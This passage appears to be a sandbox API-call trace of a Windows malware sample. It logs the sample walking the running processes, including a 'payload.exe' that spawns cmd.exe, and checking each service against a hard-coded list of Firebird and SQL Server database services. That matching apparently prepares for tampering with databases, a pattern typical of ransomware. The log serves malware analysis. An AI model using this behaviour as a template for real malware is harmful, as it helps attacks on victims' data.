cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0066.969] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0066.969] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0066.970] lstrlenW (lpString="SearchUI.exe") returned 12 [0066.970] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0066.970] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0066.970] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.971] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.971] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0066.972] lstrlenW (lpString="taskhostw.exe") returned 13 [0066.972] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0066.972] lstrlenW (lpString="UsoClient.exe") returned 13 [0066.972] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0066.973] lstrlenW (lpString="taskhostw.exe") returned 13 [0066.973] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0066.974] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0066.974] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0066.974] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0066.974] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0067.021] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0067.021] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0067.022] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0067.022] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0067.023] lstrlenW (lpString="arcobviously.exe") returned 16 [0067.023] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0067.023] lstrlenW (lpString="preston disciplines.exe") returned 23 [0067.023] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0067.024] lstrlenW (lpString="boss.exe") returned 8 [0067.024] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0067.025] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0067.025] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0067.025] lstrlenW (lpString="placing.exe") returned 11 [0067.025] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0067.026] lstrlenW (lpString="heroes.exe") returned 10 [0067.026] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0067.027] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0067.027] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0067.027] lstrlenW (lpString="requirement moments.exe") returned 23 [0067.028] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0067.028] lstrlenW (lpString="sugar.exe") returned 9 [0067.028] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0067.029] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0067.029] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0067.030] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0067.030] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0067.031] lstrlenW (lpString="genealogy.exe") returned 13 [0067.031] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0067.031] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0067.031] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0067.032] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0067.032] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0067.033] lstrlenW (lpString="expenditure.exe") returned 15 [0067.033] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0067.034] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0067.034] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0067.035] lstrlenW (lpString="upgrading.exe") returned 13 [0067.035] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0067.035] lstrlenW (lpString="conservative.exe") returned 16 [0067.035] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0067.036] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0067.036] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0067.037] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0067.037] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0067.038] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0067.038] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0067.039] lstrlenW (lpString="gods violations duke.exe") returned 24 [0067.039] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.039] lstrlenW (lpString="dllhost.exe") returned 11 [0067.040] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.040] lstrlenW (lpString="conhost.exe") returned 11 [0067.040] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.041] lstrlenW (lpString="conhost.exe") returned 11 [0067.041] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0067.042] lstrlenW (lpString="payload.exe") returned 11 [0067.042] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0067.043] lstrlenW (lpString="cmd.exe") returned 7 [0067.043] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.044] lstrlenW (lpString="conhost.exe") returned 11 [0067.044] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0067.045] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0067.045] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.046] lstrlenW (lpString="conhost.exe") returned 11 [0067.046] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.046] lstrlenW (lpString="svchost.exe") returned 11 [0067.046] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0067.047] lstrlenW (lpString="mode.com") returned 8 [0067.047] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0067.048] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0067.048] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.049] lstrlenW (lpString="svchost.exe") returned 11 [0067.049] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0067.049] CloseHandle (hObject=0x320) returned 1 [0067.049] Sleep (dwMilliseconds=0x1f4) [0067.565] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceca0 [0067.566] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0067.566] GetLastError () returned 0xea [0067.566] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ddc) returned 0x3d01278 [0067.566] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d01278, cbBufSize=0x1ddc, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d01278, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0067.567] CloseServiceHandle (hSCObject=0x6ceca0) returned 1 [0067.567] lstrlenW (lpString="Appinfo") returned 7 [0067.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0067.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0067.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0067.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0067.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0067.567] lstrlenW (lpString="AppXSvc") returned 7 [0067.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0067.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0067.567] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0067.567] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0067.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0067.567] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0067.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.567] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0067.567] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0067.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0067.567] lstrlenW (lpString="Audiosrv") returned 8 [0067.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0067.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0067.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0067.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0067.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0067.568] lstrlenW (lpString="BFE") returned 3 [0067.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0067.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0067.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0067.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0067.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0067.568] lstrlenW (lpString="BITS") returned 4 [0067.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0067.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0067.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0067.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0067.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0067.568] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0067.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0067.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0067.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0067.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0067.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0067.568] lstrlenW (lpString="CDPSvc") returned 6 [0067.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0067.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0067.568] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0067.568] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0067.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0067.568] lstrlenW (lpString="ClickToRunSvc") returned 13 [0067.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0067.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0067.568] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0067.568] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0067.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0067.568] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0067.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0067.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0067.569] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0067.569] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0067.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0067.569] lstrlenW (lpString="CryptSvc") returned 8 [0067.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0067.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0067.569] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0067.569] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0067.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0067.569] lstrlenW (lpString="DcomLaunch") returned 10 [0067.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.569] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0067.569] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0067.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0067.569] lstrlenW (lpString="DeviceAssociationService") returned 24 [0067.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0067.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0067.569] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0067.569] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0067.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0067.569] lstrlenW (lpString="Dhcp") returned 4 [0067.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0067.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0067.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0067.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0067.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0067.569] lstrlenW (lpString="Dnscache") returned 8 [0067.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0067.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0067.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0067.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0067.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0067.570] lstrlenW (lpString="DoSvc") returned 5 [0067.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0067.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0067.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0067.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0067.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0067.570] lstrlenW (lpString="DPS") returned 3 [0067.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0067.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0067.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0067.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0067.570] lstrcmpiW (lpString1="sqlserveradhelper", 